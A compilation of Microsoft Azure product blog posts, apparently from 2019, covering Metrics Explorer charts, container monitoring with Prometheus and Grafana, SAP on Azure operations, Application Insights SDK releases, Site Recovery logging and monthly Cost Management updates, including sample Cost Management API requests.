High-density charts from lots of datapoints can be useful to visualize the outliers, as shown in this example:
   High-density charts from lots of datapoints showing the outliers.

Improved chart legend

A small but useful improvement was made based on your feedback that the chart legends often wouldn’t fit on the chart, making it hard to interpret the data. This was almost always happening with the charts pinned to dashboards and rendered in the tight space of dashboard tiles, or on screens that have a smaller resolution. To solve the problem, we now let you scroll the legend until you find the data you need:
   A metric chart with scrollable chart legend.

Feedback

Let us know how we’re doing and what more you’d like to see. Please stay tuned for more information on these and other new features in the coming months. We are continuously addressing pain points and making improvements based on your input.

If you have any questions or comments before our next survey, please use the feedback button on the Metrics blade. Don’t feel shy about giving us a shout out if you like a new feature or are excited about the direction we’re headed. Smiles are just as important in influencing our plans as frowns.

A menu to leave a feedback about Metrics Explorer.

Improving observability of your Kubernetes deployments with Azure Monitor for containers

Over the past few years, we’ve seen significant changes in how an application is thought of and developed, especially with the adoption of containers and the move from traditional monolithic applications to microservices applications. This shift also affects how we think about modern application monitoring, now with greater adoption of open source technologies and the introduction of observability concepts.

In the past, vendors owned the application and infrastructure, and as a result, they knew what metrics to monitor. With open source products growing in number, vendors do not own all the metrics, and custom metrics are extremely necessary with current monitoring tools. Unlike the monolith application, which is a single deployment unit with a simple status of healthy or not, modern applications will consist of dozens of different microservices with fractional n-states. This is due to the sophisticated deployment strategies and rollbacks where customers may be running different versions of the same services in production, especially on Kubernetes. Thus, embracing these shifts is essential in monitoring.

Visualizing flow on how application creation has changed from monolithic application into a microservices with containers

Custom metrics and open source technologies help improve the observability of specific components of your application, but you also need to monitor the full stack. Azure Monitor for containers embraces both observability through live data and collecting custom metrics using Prometheus, providing the full stack end-to-end monitoring from nodes to Kubernetes infrastructure to workloads.

full Kubernetes stack from platform (node) to workloads running on Kubernetes.

Collecting Prometheus metrics and viewing using Grafana dashboards

By instrumenting Prometheus SDK into your workloads, Azure Monitor for containers can scrape the metrics exposed from Prometheus end-points so you can quickly gather failure rates, response per secs, and latency. You can use Prometheus to collect some of the Kubernetes infrastructure metrics that are not provided out of the box by Azure Monitor by configuring the containerized agent.

From Log Analytics, you can easily run a Kusto Query Language (KQL) query and create your custom dashboard in the Azure portal dashboard. For many customers using Grafana to support their dashboard requirements, you can visualize the container and Prometheus metrics in a Grafana dashboard.

Below is an example of a dashboard that provides an end-to-end Azure Kubernetes Service (AKS) cluster overview, node performances, Kubernetes infrastructure, and workloads.
   Grafana default dashboard which Azure Monitor for Container published.

If you would like to monitor or troubleshoot other scenarios, such as list of all workload live sites, or noisy neighbor issues on a worker node, you can always switch to Azure Monitor for container to view the visualizations included from the Grafana dashboard by clicking on Azure Monitor – Container Insights in the top right-hand corner.

on the right hand side there is a red brackets highlighting the url link to go to the native Azure Monitor for Containers
   shows Azure Monitor for Containers panel and the red square is showing observability.
Azure Monitor for containers provides the live, real-time data of container logs and Kubernetes event logs to provide observability as seen above. You can see your deployments immediately and observe any anomalies using the live data.

If you are interested in trying Azure Monitor for containers, please check the documentation. Once you have enabled the monitoring, and if you would like to try the Grafana template, please go to the Grafana gallery. This template will light up using the out-of-the-box data collected from Azure Monitor for containers. If you want to add more charts to view other metrics collected, you can do so by checking our documentation.

Prometheus data collection and Grafana are also supported for AKS Engine as well.

For any feedback or suggestions, please reach out to us through Azure Community Support or Stack Overflow.

SAP on Azure–Designing for Efficiency and Operations

This is the final blog in our four-part series on Designing A Great SAP on Azure Architecture.

Robust SAP on Azure Architectures are built on the pillars of Security, Performance and Scalability, Availability and Recoverability, and Efficiency and Operations.

Within this blog we will a cover a range of Azure services and a new GitHub repository which can support operational efficiencies for your SAP applications running on Azure.

Let’s get started.

Simplifying SAP Shared Storage architecture with Azure NetApp Files

A diagram showing the simplified SAP Shared Storage architecture.

Azure NetApp Files (ANF) can be used to simplify your SAP on Azure deployment architecture, providing an excellent use case for high availability (HA) of your SAP shared files based on Enterprise NFS.

SAP Shared Files are critical for SAP systems with high availability requirements and more than one application server. Additionally, SAP HANA scale-out systems also require a common set of shared files i.e.

  •  /sapmnt which stores SAP kernel files, profiles and job logs.
  •  /hana/shared, which houses binaries, configuration files and traces for SAP HANA scale-out.

Prior to Azure NetApp Files, SAP on Azure customers running Linux with high availability requirements had to protect the SAP Shared Files using Pacemaker clusters and block replication devices. These setups were complex to manage and required a high degree of technical skills to administer. With the introduction of Azure NetApp Files, a Pacemaker cluster can be removed from the architecture which reduces landscape sprawl and maintenance efforts. Moreover, there is no longer a need to stripe disks nor configure block replication technologies for the SAP Shared Files. Rather, Azure NetApp Files volumes can be configured using Azure Portal, Azure CLI or PowerShell and mounted to the SAP Central Services clusters. Azure NetApp Files volumes can also be resized on the fly and protected by way of storage snapshots.

To simplify your SAP on Azure deployment architecture, we have published two scenarios for high availability of your SAP System Central Services and SAP shared files based on Azure NetApp Files with NFS.

High Availability for SAP NetWeaver on Azure VMs on Red Hat Enterprise Linux with Azure NetApp Files for SAP applications

High availability for SAP NetWeaver on Azure VMs on SUSE Linux Enterprise Server with Azure NetApp Files for SAP applications

Optimizing Dev, Test and Sandbox deployments with Azure Connector for SAP LaMa

Within a typical SAP estate, several application landscapes are often deployed i.e. ERP, SCM, BW etc. and there is an ongoing need to perform SAP system copies and SAP system refreshes, i.e. creating new SAP projects systems for technical/application releases or periodically refreshing QA systems from Production copies. The end-to-end process for SAP system copies and refreshes can be both time-consuming and labor intensive.

SAP LaMa Enterprise Edition can support operational efficiencies in this area where several steps involved in the SAP system copy or refresh can be automated. Our Azure Connector for LaMa enables copying, deletion and relocation of Azure Managed Disks to help your SAP operations team perform SAP system copies and system refreshes rapidly reducing manual efforts.

In terms of virtual machines (VMs) operations, the Azure Connector for LaMa can be used to reduce the run costs for your SAP estate on Azure. You can stop (deallocate) and start your SAP virtual machines which enables you to run certain workloads with a reduced utilization profile i.e. though the LaMa interface scheduling your SAP S/4HANA sandbox virtual machine to be online from 08:00-18:00, 10 hours per day instead of running 24 hours. Furthermore, the Azure Connector for LaMa also allows you to resize your virtual machine when performance demands arise directly from within LaMa.

Save Time and Reduce Errors by Automating SAP Deployments

The manual deployment of your SAP infrastructure and software installation can be time consuming, tedious and error prone. One of the major benefits of Azure is the ability to automate your SAP infrastructure deployment i.e. virtual machines, storage and the installation of your SAP software. Automation reduces errors and deviation and facilitates programmatic and accelerated SAP deployments. As a customer, you have a wide range of automation tools available natively on Azure such as Azure Resource Manager templates and you can also create deployment scripts via both PowerShell and Azure CLI. Moreover, you also have the option to leverage your favorite configuration management tools.

We have included some links below as a kick-starter around Azure automation for your SAP deployment.

Get a Holistic View with Azure Monitor for SAP Solutions

SAP on Azure customers can now benefit from having a central location to monitor infrastructure telemetry as well as database metrics. We have enhanced our Azure Monitor functionality to include SAP Solutions monitoring. This enhancement on Azure Monitor covers both SAP on Azure virtual machines (VMs) and our bare-metal HANA Large Instances (HLI) offering. Azure Monitor for SAP Solution capabilities include:

  •  Monitoring the health & utilization of infrastructure
  •  Correlation of data between infrastructure and the SAP database for troubleshooting
  •  Trending data to identify patterns enabling proactive remediation

Azure Monitor for SAP Solutions does not run an agent on the SAP HANA VM or HLI. Instead, it deploys a managed resource group within your customer subscription which contains resources to collects telemetry from the SAP HANA server and in-turn ingest the data into Azure’s Log Analytics.

Some of the components deployed in managed resource group are:

  • Azure Key Vault – used to store customer secrets such as database credentials
  • User-Assigned Identity – assigned to Key Vault as access policy
  • Log Analytics – workspace to collect and analyze monitoring telemetry
  • Collector Virtual Machine– runs the logic to collect telemetry from the SAP HANA database server

Our vision here is to enable a single point of monitoring and analysis where your infrastructure and SAP telemetries coincide to ease issue identification and implement remediations before any fatal outage occurs. A simple example is where the memory utilization trajectory is going critical and SAP HANA starts experiencing column unload., When this happens, an alert is triggered to inform the administrators before the issue exacerbates.

At October 2019, Azure Monitor for SAP is able to collect statistics from SAP HANA and is currently in Private Preview, therefore, please reach out to your Microsoft Account team should you have interest in this service.

Additional resources for optimizing your SAP deployments

The AzureCAT SAP Deployment Engineering team provides deep engagement on customer projects where we help our customers successfully deploy their SAP applications on Azure with quality. Throughout the project lifecycle, there can be times where remediation or optimizations of a customer’s SAP deployment architecture is required. For example:

  •  Lifting the Resilience of the SAP Deployment Architecture:

A scenario can arise where a customer may have deployed their SAP system in single instance virtual machines (SLA 99.9 percent) rather than a high availability configuration via Azure Availability Sets (SLA 99.95 percent). Now the customer has a need to move to an Availability Set configuration while retaining their existing network (IP, vNIC) and data disks.

  • Performance Optimization:

An SAP on Azure customer is already running in Production and would now like to benefit from Proximity Placement Groups to optimize the network performance between their SAP Application and Database virtual machines.

  •  Availability Zones Selection:

A customer requires guidance to select the optimum Azure Availability Zones to minimize network Round-Trip-Time and facilitate a recovery point objective of zero (sync) for their SAP database.

To address the above topics (and more), we have created a new GitHub repository. This repository will be enduring, and our customers and partners can expect new scripts to land on an ongoing basis to support operational efficiencies of SAP deployments on Azure.

Closing

This blog closes out our series on Designing a Great SAP on Azure Architecture. We hope you’ve enjoyed our latest offerings to efficiently operate your SAP assets on Azure and as always, change is the only constant in the world of clouds and we are here to accommodate the change and make it simpler.

As a next step, we recommend you check-out our SAP on Azure Getting Started page.

For the previous blogs in the series you can refer to the links below:

Azure Monitor adds Worker Service SDK, new ASP.NET core metrics

Application Insights from Azure Monitor empowers developers and IT professionals to observe, debug, diagnose, and improve their distributed services hosted on the cloud, on-premises, and through hybrid solutions.

The release of the Application Insights for ASP.NET Core 2.8.0 for web applications and the Application Insights for .NET Core Worker Service 2.8.0 for non-web applications delivers new value to developers including:

  • Support for more applications types.
  • New alertable metrics.
  • Support for ASP.NET Core 3.0.
  • Cross-vendor distributed tracing.

Support for more application types

The Application Insights Worker Service SDK supports the new ASP.NET Core 3.0 Worker Service template, and customer engagement on GitHub helped us prioritize this work. Beyond .NET Core Worker Service Applications, this SDK brings the full power of Application Insights to other non-web applications including Console Applications, Queue Processing, and Background Jobs. Get started with our step-by-step onboarding guide.

New alertable metrics

Event Counters allow you to observe and alert on new metrics including Time in Garbage Collection, Allocation Rate, and Thread Pool Queue Length. Event Counters expand the historical Windows Performance Counters to be cross-platform—Linux, MacOS, and Windows. Application Insights now collects these metrics out-of-the-box, making them easily observable and alertable.

Additionally, you can now observe CPU usage on Linux, MacOS, and Windows with one-second latency using our popular Live Metrics Stream. This milestone means our live metrics feature on Linux and MacOS reaches parity with Windows, reinforcing our commitment to cross-platform feature parity.

Support for ASP.NET Core 3.0

Application Insights now supports ASP.NET Core 3.0 Applications when using Application Insights ASP.NET Core 2.8.0 SDK or higher.

Cross-vendor distributed tracing

Microsoft joins a growing list of vendors adopting W3C Trace Context. This means your traces will propagate across services instrumented with other application performance monitoring vendors who recognize the W3C Trace Context standard. As more vendors adopt the W3C Trace Context standard, the reach of your distributed tracing will expand.

Future plans

Application Insights ASP.NET Core 3.0 support in Azure App Service is scheduled to release in November.

Track the health of your disaster recovery with Log Analytics

Once you adopt Azure Site Recovery, monitoring of your setup can become a very involved exercise. You’ll need to ensure that the replication for all protected instances continue and that virtual machines are always ready for failover. While Azure Site Recovery solves this need by providing point-in-time health status, active health alerts, and the latest 72 hour trends, it still needs several man hours to keep track and analyze these signals. The problem is aggravated when the number of protected instances grow. It often needs a team of disaster recovery operators to do this for hundreds of virtual machines.

We have heard through multiple feedback forums that customers receive too many alerts. Even with these alerts, long-term corrective actions were difficult to identify as there is no single pane to look at historical data. Customers have reached out to us with a need to track various metrics such as recovery point objective (RPO) health over time, data change rate (churn) of machine disks over time, current state of the virtual machine, and test failover status as some of the basic requirements. It is also important for customers to be notified for alerts as per your enterprise’s business continuity and disaster recovery compliance needs.

The integrated solution with logs in Azure Monitor and Log Analytics

Azure Site Recovery brings to you an integrated solution for monitoring and advanced alerting powered by logs in Azure Monitor. You can now send the diagnostic logs from the Site Recovery vault to a workspace in Log Analytics. The logs are, also known as Azure Monitor logs, visible in the Create diagnostic setting blade as of today.

The logs are generated for Azure Virtual Machines, as well as any VMware or physical machines protected by Azure Site Recovery.

Diagnostic Settings

Once the data starts feeding in the workspace, the logs can be queried using Kusto Query Language to produce historical trends, point-in-time snapshots, as well as disaster recovery admin level and executive level dashboards for a consolidated view. The data can be fed into a workspace from multiple Site Recovery vaults. Below are a few example use cases that can be currently solved with this integration:

  • Snapshot of replication health of all protected instances in a pie chart
  • Trend of RPO of a protected instance over time
  • Trend of data change rate of all disks of a protected instance over time
  • Snapshot of test failover status of all protected instances in a pie chart
  • Summarized view as shown in the Replicated Items blade
  • Alert if status of more than 50 protected instances turns critical
  • Alert if RPO exceeds beyond 30 minutes for more than 50 protected instances
  • Alert if the last disaster recovery drill was conducted more than 90 days ago
  • Alert if a particular type of Site Recovery job fails

Sample use cases

Sample Use Cases

These are just some examples to begin with. Dig deeper into the capability with many more such examples captured in the documentation “Monitor Site Recovery with Azure Monitor Logs.” Dashboard solutions can also be built on this data to fully customize the way you monitor your disaster recovery setup. Below is a sample dashboard:

Dashboard Solution in Log Analytics

Azure natively provides you the high availability and reliability for your mission-critical workloads, and you can choose to improve your protection and meet compliance requirements using the disaster recovery provided by Azure Site Recovery. Getting started with Azure Site Recovery is easy, check out pricing information and sign up for a free Microsoft Azure trial. You can also visit the Azure Site Recovery forum on MSDN for additional information and to engage with other customers.

Azure Cost Management updates – July 2019

Whether you’re a new student, thriving startup, or the largest enterprise, you have financial constraints and you need to know what you’re spending, where, and how to plan for the future. Nobody wants a surprise when it comes to the bill, and this is where Microsoft Azure Cost Management comes in.

We’re always looking for ways to learn more about your challenges and how Azure Cost Management can help you better understand where you’re accruing costs in the cloud, identify and prevent bad spending patterns, and optimize costs to empower you to do more with less. Here are a few of the latest improvements and updates based on your feedback:

Let’s dig into the details.

 

Azure Cost Management for partners

Partners play a critical role in successful planning, implementation, and long-term cloud operations for organizations, big and small. Whether you’re a partner who sells to or manages Azure on behalf of another organization or you’re working with a partner to help keep you focused on your core mission instead of managing infrastructure, you need a way to understand, control, and optimize your cloud costs. This is where Azure Cost Management comes in!

In June, we announced new capabilities in the Cloud Solution Provider (CSP) program coming in October 2019. With this update, CSP partners can onboard customers using the same Microsoft Customer Agreement (MCA) platform used across Azure. CSP partners and customers will see product alignment, which includes common Azure Cost Management tools, available at the same time they’re available for pay-as-you-go (PAYG) and enterprise customers.

Azure Cost Management capabilities optimized for partners and their customers will be released over time, starting with the ability to enable Azure Cost Management for MCA customers. You’ll see periodic updates throughout Q4 2019 and 2020, including support for customers who do not transition to MCA. Once enabled, partners and customers will have the full benefits of Azure Cost Management.

If you’re a managed service provider, be sure to check out Azure Lighthouse, which enables partners to more efficiently manage resources at scale across customers and directories. Help your customers manage their Azure and AWS costs in a single place with Azure Cost Management!

Stay tuned for more updates in October 2019. We’re eager to bring much-anticipated Azure Cost Management capabilities to partners and their customers!

 

Marketplace usage for pay-as-you-go (PAYG) subscriptions

Last month, we talked about how effective cost management starts by getting all your costs into a single place with a single taxonomy. Now, with the addition of Azure Marketplace usage for pay-as-you-go (PAYG) subscriptions, you have a more complete picture of your costs.

Azure and Marketplace charges have different billing cycles. To investigate and reconcile billed charges, select the appropriate Azure or Marketplace invoice period in date picker. To view all charges together, select calendar months and group by publisher type to see a breakdown of your Azure and Marketplace costs.

An image showing marketplace PAYG filters.

 

Cost Management Labs

Cost Management Labs are the way to get the latest cost management features and enhancements! It is the same great service you’re used to, but with a few extra features we’re testing and looking for feedback on as we finalize before releasing to the world. This is your chance to drive the direction and impact the future of Azure Cost Management.

Participating in Cost Management Labs is as easy as opening the Azure preview portal and selecting Cost Management from Azure Home. On the Cost Management overview, you’ll see the preview features available for testing and have links to share new ideas or report any bugs that may pop up. Reporting a bug is a direct line back to the Azure Cost Management engineering team, where we’ll work with you to understand and resolve the issue.

Here’s what you’ll see in Cost Management Labs today:

  • Save and share customized views directly within cost analysis
  • Download your customized view in cost analysis as an image
  • Several small bug fixes and improvements, like minor design changes within cost analysis

Of course, that’s not all! There’s more coming and we’re very eager to hear your thoughts and understand what you’d like to see next. What are you waiting for? Try Cost Management Labs today!

An image showing the Cost Management Labs overview tab. 

Save and share customized views in cost analysis

Customizing a view in cost analysis is easy. Just pick the date range you need, group the data to see a breakdown, choose the right visualization, and you’re good to go! Pin your view to a dashboard for one-click access, then share the dashboard with your team so everyone can track cost from a single place.

An image showing how to use the pin button to save customized views in cost analysis.

You can also share a direct link to your customized view so others can copy and personalize it for themselves:

An image showing how to share customized views in cost analysis.

Both sharing options offer flexibility, but you need something more convenient. You need to save customized views and share them with others, directly from within cost analysis. Now you can!

An image showing how to use save customized views in cost analysis.

People with Cost Management Contributor (or greater) access can create shared views. You can create up to 50 shared views per scope.

Anyone can save up to 50 private views, even if they only have read access. These views cannot be shared with others directly in cost analysis, but they can be pinned to a dashboard or shared via URL so others can save a copy.

All views are accessible from the view menu. You’ll see your private views first, then those shared across the scope, and lastly the built-in views which are always available.

Am image showing the view menu of all saved views, private and shared.

Need to share your view outside of the portal? Simply download the charts as an image and copy it into an email or presentation, as an example, to share it with your team. You’ll see a slightly redesigned Export menu which now offers a PNG option when viewing charts. The table view cannot be downloaded as an image.

An image showing the export menu, for sharing views outside of the portal.

You’ll also see a few small design changes to the filter bar in the preview:

  • The scope pill shows more of the scope name for added clarity
  • The view menu has been restyled based on its growing importance with saved views
  • The granularity and group by pickers are closer to the main chart to address confusion about what they apply to

This is just the first step. There’s more to come. Try the preview today and let us know what you’d like to see next! We’re excited to hear your ideas!

 

Viewing costs in different currencies

Every organization has its own unique setup and challenges. You may get a single Azure invoice or perhaps you need separate invoices per department. You may even be in a multi-national organization with multiple billing accounts in different currencies. Or perhaps you simply moved subscriptions between billing accounts in different currencies. Regardless of how you ended up with multiple currencies, you haven’t had a way to view costs in the portal. Now you can!

When cost analysis detects multiple currencies, you’ll have an option to switch between them, viewing costs in each currency individually. Today, this only shows charges for the selected currency – cost analysis is not converting currencies. For example, if you have two charges, one for $1 and another for £1, you can see either USD only ($1) or GBP only (£1). You cannot see $1+£1 in USD or GBP today. In the future, Azure Cost Management will convert costs into a single currency to show everything in USD (e.g. $2.27 in this case) and eventually in a currency you select (e.g. ¥243.43).

An image showing the currency type menu.

 

Manage EA departments and policies from the Azure portal

If you manage an Enterprise Agreement (EA), you’re all too familiar with the Enterprise portal, which lets you to keep an eye on your usage, monetary commitment credits, and additional charges each month. Did you know you can also do this in the Azure portal? With richer reporting in cost analysis and finer-grained control with budgets, the Azure portal delivers even more capabilities to understand and control your costs.

Now, you can also create and manage your departments and policy settings from the Azure portal. Departments allow you to organize subscriptions and delegate access to manage account owners and policy settings allow you to enable or disable reservations, Azure Marketplace purchases, and Azure Cost Management for your organization. To ensure everyone in the organization can see and manage costs, make sure you enable account owners to view charges.

An image showing how to manage your departments and policy settings in the Azure portal.

Enabling account owners to view charges also ensures subscription users with RBAC access have visibility into their costs throughout the lifetime of their resources, can control spending with budgets, and can optimize their spending with cost-saving recommendations. Enabling cost visibility is critical to driving accountability throughout your organization. Once enabled, you can manage finer-grained access with the Cost Management Reader and Cost Management Contributor roles on any resource group, subscription, or management group. We recommend Cost Management Contributor to ensure everyone can create and share Azure Cost Management views and budgets across the resources and costs they have visibility to.

If you’re still using the enterprise portal on a regular basis, we encourage you to give the Azure portal a shot. Simply go to the portal and click Cost Management + Billing in the list of favorites on the left.

And don’t forget to plan your move from the key-based EA APIs (such as consumption.azure.com) to the latest UsageDetails API (version 2019-04-01-preview or newer). The key-based APIs will not be supported after your next EA renewal into Microsoft Customer Agreement (MCA) and switching to the UsageDetails API now will streamline this transition and minimize future migration work.

 

Expanded availability of resource tags in cost reporting

Tagging is the best way to organize and categorize your resources outside of the built-in management group, subscription, and resource group hierarchy. Add your own metadata and build custom reports using cost analysis. While most Azure resources support tags, some resource types do not. Here are the latest resource types which now support tags:

  • VPN gateways

Remember tags are a part of every usage record and are only available in Azure Cost Management reporting after the tag is applied. Historical costs are not tagged. Update your resources today for the best cost reporting.

 

Tag your resources with up to 50 tags

To effectively manage costs in a large organization, you need to map costs to reporting entities. Whether you’re breaking down cost by organization, application, environment, or some other construct, resource tags are a great way to add that metadata and reuse it for cost, health, security, and compliance tracking and enforcement. But as your reporting needs change over time, you may have hit the 15 tag limit on resources. No more! You can now apply up to 50 tags to each resource!

To learn more about tag management and the benefits of tags, see “Use tags to organize your Azure resources“.

 

Documentation updates

Lots of documentation updates! Here are a few you might be interested in:

Want to keep an eye on all documentation updates? Check out the Azure Cost Management doc change history in the azure-docs repository on GitHub. If you see something missing, select “Edit” at the top of the doc and submit a quick pull request.

 

What’s next?

These are just a few of the big updates from the last month. We’re always listening and making constant improvements based on your feedback, so please keep the feedback coming!

Follow @AzureCostMgmt on Twitter and subscribe to the YouTube channel for updates, tips, and tricks! And, as always, share your ideas and vote up others in the Azure Cost Management feedback forum.

Azure Cost Management updates – June 2019

Whether you’re a new student, thriving startup, or the largest enterprise, you have financial constraints and you need to know what you’re spending, where, and how to plan for the future. Nobody wants a surprise when it comes to the bill, and this is where Azure Cost Management comes in.

We’re always looking for ways to learn more about your challenges and how Cost Management can help you better understand where you’re accruing costs in the cloud, identify and prevent bad spending patterns, and optimize costs to empower you to do more with less.

Here are the improvements that we’ll be looking at today, all based on your feedback:

Let’s dig into the details.

 

Reservation and marketplace purchases for Enterprise Agreements and AWS

Effective cost management starts by getting all your costs into a single place with a single taxonomy. Now, with the addition of reservation and marketplace purchases, you have a more complete picture of your Enterprise Agreements (EA) for Azure and AWS costs, and can track large reservation costs back to the teams using the reservation benefit. Breaking reservation purchases down will simplify cost allocation efforts, making it easier than ever to manage internal chargeback.

Showing amortized costs of $243M for the same period above which showed just under $50K of actual costs. Virtual machines are now showing costs based on a pre-purchased reservation.

Start by opening cost analysis and changing scope to your EA billing account, AWS consolidated account, or a management group which spans both. You’ll notice four new grouping and filtering options to break down and drill into costs:

  • Charge type indicates which costs are from usage, purchases, and refunds.
  • Publisher type indicates which costs are from Azure, AWS, and marketplace. Marketplace costs include all clouds. Use Provider to distinguish between the total Azure and AWS costs, and first and third-party costs.
  • Reservation specifies what the reservation costs are associated with, if applicable.
  • Frequency indicates which costs are usage-based, one-time fees, or recurring charges.

By default, cost analysis shows your actual cost as it is on your bill. This is ideal for reconciling your invoice, but results in visible spikes from large purchases. This also means usage against a reservation will show no cost, since it was prepaid, and subscription and resource group readers won’t have any visibility into their effective costs. This is where amortization comes in.

Switch to the amortized cost view to break down reservation purchases into daily chunks and spread them over the duration of the reservation term. As an example, instead of seeing a $365 purchase on January , you will see a $1 purchase every day from January 1 to December 31. In addition to basic amortization, these costs are also reallocated and associated with the specific resources which used the reservation. For example, if that $1 daily charge is split between two virtual machines, you’ll see two $0.50 charges for the day. If part of the reservation is not utilized for the day, you’ll see one $0.50 charge associated with the applicable virtual machine and another $0.50 charge with a new charge type titled UnusedReservation.

As an added bonus subscription, resource group, and AWS linked account readers can also see their effective costs by viewing amortized costs. They won’t be able to see the purchases, which are only visible on the billing account, but they can see their discounted cost based on the reservation.

To build a simple chargeback report, switch to amortized cost, select no granularity to view the total costs for the period, group by resource group, and change to table view. Then, download the data to Excel or CSV for offline analysis or to merge with your own data.

An image of the amortized cost page, table view.

If you need to automate getting cost data, you have two options. Use the Query API for rich analysis with dynamic filtering, grouping, and aggregation or use the UsageDetails API for the full, unaggregated cost and usage data. Note UsageDetails is only available for Azure scopes. The general availability (GA) version of these APIs is 2019-01-01, but you’ll want to use 2019-04-01-preview to include reservation and Marketplace purchases.

As an example, let’s get an aggregated view of amortized costs broken down by charge type, publisher type, resource group—left empty for purchases, and reservation—left empty if not applicable.

POST https://management.azure.com/{scope}/providers/Microsoft.CostManagement/query?api-version=2019-04-01-preview
Content-Type: application/json

{
  "type": "AmortizedCost",
  "timeframe": "Custom",
  "timePeriod": { "from": "2019-06-01", "to": "2019-06-30" },
  "dataset": {
    "granularity": "None",
    "aggregation": {
      "totalCost": { "name": "PreTaxCost", "function": "Sum" }
    },
    "grouping": [
      { "type": "dimension", "name": "ChargeType" },
      { "type": "dimension", "name": "PublisherType" },
      { "type": "dimension", "name": "Frequency" },
      { "type": "dimension", "name": "ResourceGroup" },
      { "type": "dimension", "name": "SubscriptionName" },
      { "type": "dimension", "name": "SubscriptionId" },
      { "type": "dimension", "name": "ReservationName" },
      { "type": "dimension", "name": "ReservationId" }
    ]
  }
}

And if you don’t need the aggregation and prefer the full, raw dataset for Azure scopes:

GET https://management.azure.com/{scope}/providers/Microsoft.Consumption/usageDetails?metric=AmortizedCost&$filter=properties/usageStart+ge+'2019-06-01'+AND+properties/usageEnd+le+'2019-06-30'&api-version=2019-04-01-preview

If you need actual costs to show purchases as they are shown on your bill, simply change the type or metric to ActualCost. For more information about these APIs, refer to the Query and UsageDetails API documentation. The published docs show the GA version, but they both work the same for the 2019-04-01-preview API version outside of the new type/metric attribute.

Note that Cost Management APIs work across all scopes above resources. Namely, resource group, subscription, management group via Azure roll-based access control (RBAC) access, EA billing accounts (enrollments), departments, enrollment accounts via EA portal access, AWS consolidated, and linked accounts via Azure RBAC. To learn more about scopes, including how to determine your scope ID or manage access, see our documentation “Understand and work with scopes.”

Support for reservation and marketplace purchases is currently available in preview in the Azure portal, but will roll out globally in the coming weeks. In the meantime, please check it out and let us know if you have any feedback.

 

Forecasting your Azure and AWS costs

History teaches us a lot, and knowing where you’ve been is critical to understanding where you’re going. This is no less true when it comes to managing costs. You may start with historical costs to understand application and organization trends, but to really get into a healthy, optimized state, you need to plan for the future. Now you can with Cost Management forecasts.

Check your forecasted costs in cost analysis to anticipate and visualize cost trends, and proactively take action to avoid budget or credit overages on any scope. From a single application in a resource group, to the entire subscription or billing account, to higher-level management groups spanning both Azure and AWS resources. Learn about connecting your AWS account in last month’s wrap up here.

Cost analysis showing accumulated costs of $14.7M with a forecast of $17.9M and a warning note on the budget, which is set at $17.5M.

Cost Management forecasts are in preview in the Azure portal, and will roll out globally in the coming weeks. Check it out and let us know what you’d like to see next.

 

Standardizing cost and usage terminology for Enterprise Agreement and Microsoft Customer Agreement

Depending on whether you use a pay-as-you-go (PAYG), Enterprise Agreement (EA), Cloud Solution Provider (CSP), or Microsoft Customer Agreement (MCA) account, you may be used to a different terminology. These differences are minor and won’t impact your ability to understand and break down your bills, but they do introduce a challenge as your organization grows and needs a more holistic cost management solution, spanning multiple account types. With the addition of AWS and eventual migration of PAYG, EA, and CSP accounts into MCA, this becomes even more important. In an effort to streamline the transition to MCA at your next EA renewal, Cost Management now uses new column or property names to align to MCA terminology. Here are the primary differences you can expect to see for EA accounts:

  • EnrollmentNumber → BillingAccountId/BillingProfileId
    • EA enrollments are represented as “billing accounts” within the Azure portal today, and they will continue to be mapped to a BillingAccountId within the cost and usage data. No change there. MCA also introduces the ability to create multiple invoices within a billing account. The configuration of these invoices is called a “billing profile”. Since EA can only have a single invoice, the enrollment effectively maps to a billing profile. In line with that conceptual model, the enrollment number will be available as both a BillingAccountId and BillingProfileId.
  • DepartmentName → InvoiceSectionName
    • MCA has a concept similar to EA departments, which allows you to group subscriptions within the invoice. These are called “invoice sections” and are nested under a billing profile. While the EA invoice isn’t changing as part of this effort, EA departments will be shown as InvoiceSectionName within the cost data for consistency.
  • ProductOrderName (new)
    • New property to identify the larger product the charge applies to, like the Azure subscription offer.
  • PublisherName (new)
    • New property to indicate the publisher of the offering.
  • ServiceFamily (new)
    • New property to group related meter categories.

Organizations looking to renew their EA enrollment into a new MCA should strongly consider moving from the key-based EA APIs (such as consumption.azure.com) to the latest UsageDetails API (version 2019-04-01-preview) based on these new properties to minimize future migration work. The key-based APIs are not supported for MCA billing accounts.

To learn more about the new terminology, see our documentation “Understand the terms in your Azure usage and charges file.”

 

Keeping an eye on costs across subscriptions with management group budgets

Every organization has a bottom line. Cost Management budgets help you make sure you don’t hit yours. And now, you can create budgets that span both Azure and AWS resources using management groups.

Management group budgets

Organize subscriptions into management groups, and use filters to perfectly tune the budget that’s right for your teams.

To learn more, see our tutorial “Create and manage budgets.”

 

Updating your dashboard tiles

You already know you can pin customized views of cost analysis to the dashboard.

Pin cost analysis to the dashboard using the pin icon at the top-right of the blade

You may have noticed these tiles were locked to the specific date range you selected when pinning it. For instance, if you chose to view this month’s costs in January, the tile would always show January, even in February, March, and so on. This is no longer the case.

Cost analysis tiles now maintain the built-in range you selected in the date picker. If you pin “this month,” you’ll always get the current calendar month. If you pin “last 7 days,” you’ll get a rolling view of the last 7 days. If you select a custom date range, however, the tile will always show that specific date range.

To get the updated behavior, please update your pinned tiles. Simply click the chart on the tile to open cost analysis, select the desired date range, and pin it back to the dashboard. Your new tile will always keep the exact view you selected.

What else would help you build out your cost dashboard? Do you need other date ranges? Let us know.

 

Expanded availability of resource tags in cost reporting

Tagging is the best way to organize and categorize your resources outside of the built-in management group, subscription, and resource group hierarchy, allowing you to add your own metadata and build custom reports using cost analysis. While most Azure resources support tags, some resource types do not. Here are the latest resource types which now support tags:

  • App Service environments
  • Data Factory services
  • Event Hub namespaces
  • Load balancers
  • Service Bus namespaces

Remember tags are a part of every usage record and are only available in Cost Management reporting after the tag is applied. Historical costs are not tagged, so update your resources today for the best cost reporting.

 

The new Cost Management YouTube channel

Last month, we talked about eight new quickstart videos to get you up and running with Cost Management quickly. Subscribe to the new Azure Cost Management YouTube channel to stay in the loop with new videos as they’re released. Here’s the newest video in our cost optimization collection:

Let us know what other topics you’d like to see covered.

 

What’s next?

These are just a few of the big updates from the last month. We’re always listening and making constant improvements based on your feedback, so please keep the feedback coming! 

Follow @AzureCostMgmt on Twitter and subscribe to the YouTube channel for updates, tips, and tricks. And, as always, share your ideas and vote up others in the Cost Management feedback forum.